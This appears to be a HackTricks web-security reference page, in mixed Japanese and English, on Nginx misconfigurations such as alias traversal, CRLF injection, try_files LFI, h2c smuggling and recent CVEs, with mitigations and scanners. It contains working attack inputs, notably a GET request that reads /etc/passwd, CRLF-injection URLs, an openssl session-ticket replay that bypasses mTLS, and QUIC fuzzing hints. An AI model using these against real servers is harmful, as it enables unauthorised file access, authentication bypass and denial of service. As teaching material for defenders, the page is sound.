Nginx

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Missing root location

Nginx サーバーを設定する際、root directive はファイルが配信されるベースディレクトリを定義する重要な役割を果たします。以下の例を参照してください:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

In this configuration, /etc/nginx is designated as the root directory. This setup allows access to files within the specified root directory, such as /hello.txt. However, it’s crucial to note that only a specific location (/hello.txt) is defined. There’s no configuration for the root location (location / {...}). This omission means that the root directive applies globally, enabling requests to the root path / to access files under /etc/nginx.

A critical security consideration arises from this configuration. A simple GET request, like GET /nginx.conf, could expose sensitive information by serving the Nginx configuration file located at /etc/nginx/nginx.conf. Setting the root to a less sensitive directory, like /etc, could mitigate this risk, yet it still may allow unintended access to other critical files, including other configuration files, access logs, and even encrypted credentials used for HTTP basic authentication.

Alias LFI Misconfiguration

In the configuration files of Nginx, a close inspection is warranted for the “location” directives. A vulnerability known as Local File Inclusion (LFI) can be inadvertently introduced through a configuration that resembles the following:

location /imgs {
alias /path/images/;
}

この設定は、サーバーが /imgs../flag.txt のようなリクエストを意図したディレクトリ外のファイルへアクセスしようと解釈し、実際には /path/images/../flag.txt に解決されるため、LFI attacks に対して脆弱です。

この脆弱性により、攻撃者はウェブ経由でアクセスできるべきでないサーバーのファイルシステム上のファイルを取得できます。

この脆弱性を緩和するため、設定は次のように調整する必要があります:

location /imgs/ {
alias /path/images/;
}

詳細: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix のテスト:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

安全でないパス制限

以下のページを確認して、次のようなディレクティブをバイパスする方法を学んでください:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

安全でない変数の使用 / HTTP Request Splitting

Caution

脆弱な変数 $uri$document_uri があり、これらは $request_uri に置き換えることで修正できます。

正規表現も次のように脆弱になることがあります:

location ~ /docs/([^/])? { … $1 … } - 脆弱

location ~ /docs/([^/\s])? { … $1 … } - 脆弱ではない(スペースをチェックしている)

location ~ /docs/(.*)? { … $1 … } - 脆弱ではない

Nginx の設定における脆弱性は、以下の例で示されています:

location / {
return 302 https://example.com$uri;
}

\r (Carriage Return) と \n (Line Feed) の文字は HTTP リクエストにおける改行文字を示し、それらの URL-encoded 形式は %0d%0a で表されます。これらの文字をリクエスト(例: http://localhost/%0d%0aDetectify:%20clrf)に含めると、誤設定されたサーバは Detectify という新しいヘッダを発行します。これは $uri 変数が URL-encoded の改行文字をデコードするために発生し、レスポンスに予期しないヘッダが含まれることになります:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

CRLF injection と response splitting のリスクについては、https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/ を参照してください。

Also this technique is explained in this talk with some vulnerable examples and dectection mechanisms. For example, In order to detect this misconfiguration from a blackbox perspective you could these requests:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

脆弱な場合、最初のリクエストは “X” が任意の HTTP メソッドとして扱われてレスポンスを返し、2つ目は “H” が有効なメソッドでないためエラーを返します。サーバーは GET / H HTTP/1.1 のように受け取り、これがエラーを引き起こします。

Another detection examples would be:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Some found vulnerable configurations presented in that talk were:

  • 最終URLで $uri がそのまま設定されている点に注目
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • 再び $uri が URL に含まれていることに注意してください(今回はパラメータの中にあります)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • 現在は AWS S3 にあります
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

任意の変数

特定の状況下で、user-supplied dataNginx variable として扱われる可能性があることが判明しました。
この挙動の原因は完全には解明されていませんが、珍しいものではなく、検証も単純ではありません。
この異常は HackerOne のセキュリティレポートで指摘されており、here で確認できます。さらにエラーメッセージを調査した結果、発生箇所が SSI filter module of Nginx’s codebase にあることが特定され、Server Side Includes (SSI) が根本原因であることが示されました。

このミスコンフィギュレーションを検出するには、以下のコマンドを実行します。referer header を設定して variable printing をテストします:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

この誤設定を対象にしたシステム全体のスキャンでは、ユーザーによって Nginx 変数が出力される複数の事例が確認された。しかし、脆弱なインスタンスの数が減少していることから、この問題の修正作業はある程度成功していることが示唆される。

try_files を $URI$ARGS 変数と共に使用する

次の Nginx の誤設定は LFI 脆弱性につながる可能性がある:

location / {
try_files $uri$args $uri$args/ /index.html;
}

設定では try_files ディレクティブがあり、指定された順序でファイルの存在を確認するために使用されます。Nginx は見つかった最初のファイルを返します。try_files ディレクティブの基本構文は次のとおりです:

try_files file1 file2 ... fileN fallback;

Nginxは指定された順序で各ファイルの存在を確認します。ファイルが存在する場合は直ちに提供されます。指定されたファイルがどれも存在しない場合、リクエストは別のURIや特定のエラーページなどのフォールバックオプションに渡されます。

しかし、このディレクティブで $uri$args 変数を使用すると、NginxはリクエストURIとクエリ文字列の引数を組み合わせたものに一致するファイルを探そうとします。したがって、この設定を悪用できます:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

以下のペイロード:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

payload を使って、Nginx 設定で定義された root ディレクトリを抜け、/etc/passwd を読み込みます。デバッグログで Nginx がファイルを試す様子が確認できます:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC against Nginx using the configuration mentioned above: burpのリクエスト例

バックエンドの生レスポンスの読み取り

Nginx は proxy_pass を通じて、バックエンドで生成されたエラーや HTTP ヘッダを傍受し、内部のエラーメッセージやヘッダを隠す機能を提供します。これは、バックエンドのエラーに対して Nginx がカスタムのエラーページを返すことで実現されます。
ただし、Nginx が無効な HTTP リクエストに遭遇した場合には課題が生じます。そのようなリクエストは受け取ったままバックエンドに転送され、バックエンドの生のレスポンスが Nginx の介入なしにクライアントへ直接送信されます。

uWSGI アプリケーションを含む例を考えてみます:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

これを管理するために、Nginx の設定で特定のディレクティブが使用されます:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: This directive enables Nginx to serve a custom response for backend responses with a status code greater than 300. It ensures that, for our example uWSGI application, a 500 Error response is intercepted and handled by Nginx.
  • proxy_hide_header: As the name suggests, this directive hides specified HTTP headers from the client, enhancing privacy and security.

有効なGETリクエストが行われると、Nginxは通常どおり処理し、秘密のヘッダを明らかにすることなく標準のエラーレスポンスを返します。しかし、不正なHTTPリクエストはこの仕組みを回避し、秘密のヘッダやエラーメッセージを含む生のバックエンドレスポンスが露出する結果になります。

merge_slashes set to off

デフォルトでは、Nginxの**merge_slashes directiveon**に設定されており、URL内の複数のスラッシュを単一のスラッシュに圧縮します。この機能はURL処理を簡素化しますが、Nginxの背後にあるアプリケーション、特に local file inclusion (LFI) 攻撃に弱いアプリケーションの脆弱性を意図せず隠してしまうことがあります。セキュリティ研究者 Danny Robinson and Rotem Bar は、このデフォルトの挙動に関連する潜在的なリスク、特に Nginx が reverse-proxy として動作する場合の問題を指摘しています。

こうしたリスクを軽減するために、これらの脆弱性に影響を受けやすいアプリケーションでは**merge_slashes directive を off にする**ことが推奨されます。これにより Nginx は URL 構造を変更せずにアプリケーションへリクエストを転送し、基盤となるセキュリティ上の問題を隠さないようにできます。

For more information check Danny Robinson and Rotem Bar.

Maclicious Response Headers

As shown in this writeup, there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy. You can check them in the docs:

  • X-Accel-Redirect: Indicate Nginx to internally redirect a request to a specified location.
  • X-Accel-Buffering: Controls whether Nginx should buffer the response or not.
  • X-Accel-Charset: Sets the character set for the response when using X-Accel-Redirect.
  • X-Accel-Expires: Sets the expiration time for the response when using X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limits the rate of transfer for responses when using X-Accel-Redirect.

例えば、ヘッダ X-Accel-Redirect は nginx 内部での redirect を引き起こします。したがって、nginx の設定が root / のようになっており、Web サーバのレスポンスに X-Accel-Redirect: .env が含まれていると、nginx は /.env の内容を返すことになり(Path Traversal)、機密ファイルが露出します。

Default Value in Map Directive

In the Nginx configuration, the map directive often plays a role in authorization control. A common mistake is not specifying a default value, which could lead to unauthorized access. For instance:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

default がないと、/map-poc 内の 未定義の URI にアクセスすることで 悪意のあるユーザー がセキュリティを回避できてしまいます。 The Nginx manual は、このような問題を避けるために デフォルト値 を設定することを推奨しています。

DNS Spoofing Vulnerability

特定の条件下では Nginx に対する DNS spoofing が可能です。攻撃者が Nginx が使用する DNS server を特定し、その DNS クエリを傍受できれば、DNS レコードを偽装できます。ただし、Nginx が DNS 解決に localhost (127.0.0.1) を使用するように設定されている場合、この手法は無効です。Nginx は次のように DNS サーバーを指定できます:

resolver 8.8.8.8;

proxy_passinternal ディレクティブ

The proxy_pass directive is utilized for redirecting requests to other servers, either internally or externally. The internal directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses.

proxy_set_header Upgrade & Connection

If the nginx server is configured to pass the Upgrade and Connection headers an h2c Smuggling attack could be performed to access protected/internal endpoints.

Caution

この脆弱性により攻撃者は proxy_pass エンドポイントと直接接続を確立する(この例では http://backend:9999)ことで、その内容が nginx によって検査されなくなります。

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

proxy_passhttp://backend:9999/socket.io のような特定の パス を指していても、接続は http://backend:9999 に確立されるため、内部エンドポイント内の他の任意のパスにアクセスできます。つまり proxy_pass の URL にパスが指定されていても問題ありません。

HTTP/3 QUIC モジュールのリモート DoS & leak (2024)

2024年に Nginx は CVE-2024-31079、CVE-2024-32760、CVE-2024-34161、CVE-2024-35200 を公開しました。これらは、実験的な ngx_http_v3_module が組み込まれ、listen ... quic ソケットが公開されている場合、単一の敵対的な QUIC セッション が worker プロセスをクラッシュさせたりメモリを leak させたりする可能性があることを示しています。影響を受けるビルドは 1.25.0–1.25.5 および 1.26.0 で、1.27.0/1.26.1 で修正が提供されています。メモリ開示(CVE-2024-34161)は、機密データを露出させるために MTU が 4096 バイトを超えることがさらに必要です(詳細は下記の 2024 nginx advisory を参照)。

Recon & exploitation hints

  • HTTP/3 はオプトインなので、Alt-Svc: h3=":443" のレスポンスを検出するか UDP/443 の QUIC ハンドシェイクを brute-force して確認してください。確認できたら、カスタム quiche-client/nghttp3 ペイロードでハンドシェイクや STREAM フレームを fuzz して worker プロセスをクラッシュさせ、ログの leak を引き起こします。
  • ターゲットのサポート状況を素早く fingerprint するには:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

client cert auth の TLS セッション再開バイパス (CVE-2025-23419)

2025年2月のアドバイザリでは、OpenSSLでビルドされた nginx 1.11.4–1.27.3 が、ある名前ベースの仮想ホストで確立された TLS 1.3 セッションを再利用すること を許すことが開示されました。これにより、証明書不要のホストでネゴシエートしたクライアントがチケット/PSK をリプレイして、ssl_verify_client on; で保護された vhost に入り込み、mTLS を完全に回避できます。バグは複数の仮想ホストが同じ TLS 1.3 セッションキャッシュとチケットを共有している場合に発生します(下の 2025 nginx アドバイザリを参照)。

攻撃者プレイブック

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

ターゲットが脆弱な場合、2回目のハンドシェイクはクライアント証明書を提示せずに完了し、保護された場所が露出します。

What to audit

  • server_name ブロックで、ssl_session_cache shared:SSLssl_session_tickets on; を共有しているもの。
  • mTLS を期待する Admin/API ブロックが、公開ホストから共有のセッションキャッシュ/チケット設定を継承している。
  • vhost の分離を考慮せずに TLS 1.3 の session resumption をグローバルに有効にする自動化(例: Ansible roles)。

HTTP/2 Rapid Reset の耐性 (CVE-2023-44487 の挙動)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) は、運用者が keepalive_requestshttp2_max_concurrent_streams をデフォルト値より大きく設定すると、nginx に今でも影響を与えます。攻撃者は1つの HTTP/2 接続を開き、数千のストリームで溢れさせた後、すぐに RST_STREAM フレームを送って並列度の上限に達しないようにしつつ、CPU はクリーンアップ処理に振り回され続けます。Nginx のデフォルト (128 concurrent streams, 1000 keepalive requests) は影響範囲を小さく保ちますが、これらの制限を「大幅に」引き上げると、単一クライアントからでもワーカーを飢餓状態にするのが容易になります(以下の F5 の解説を参照)。

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosts that reveal unusually high values for those directives are prime targets: one HTTP/2 client can loop through stream creation and instant RST_STREAM frames to keep CPU pegged without tripping the concurrency cap.

自分で試してみる

DetectifyはGitHubにリポジトリを用意しており、Dockerを使ってこの記事で取り上げた誤設定を含む脆弱なNginxテストサーバを構築し、実際にそれらを見つけることを試すことができます!

https://github.com/detectify/vulnerable-nginx

静的解析ツール

GIXY

GixyはNginxの設定を解析するツールです。主な目的はセキュリティの誤設定を防ぎ、脆弱性検出を自動化することです。

Nginxpwner

Nginxpwnerは一般的なNginxの誤設定や脆弱性を探すためのシンプルなツールです。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする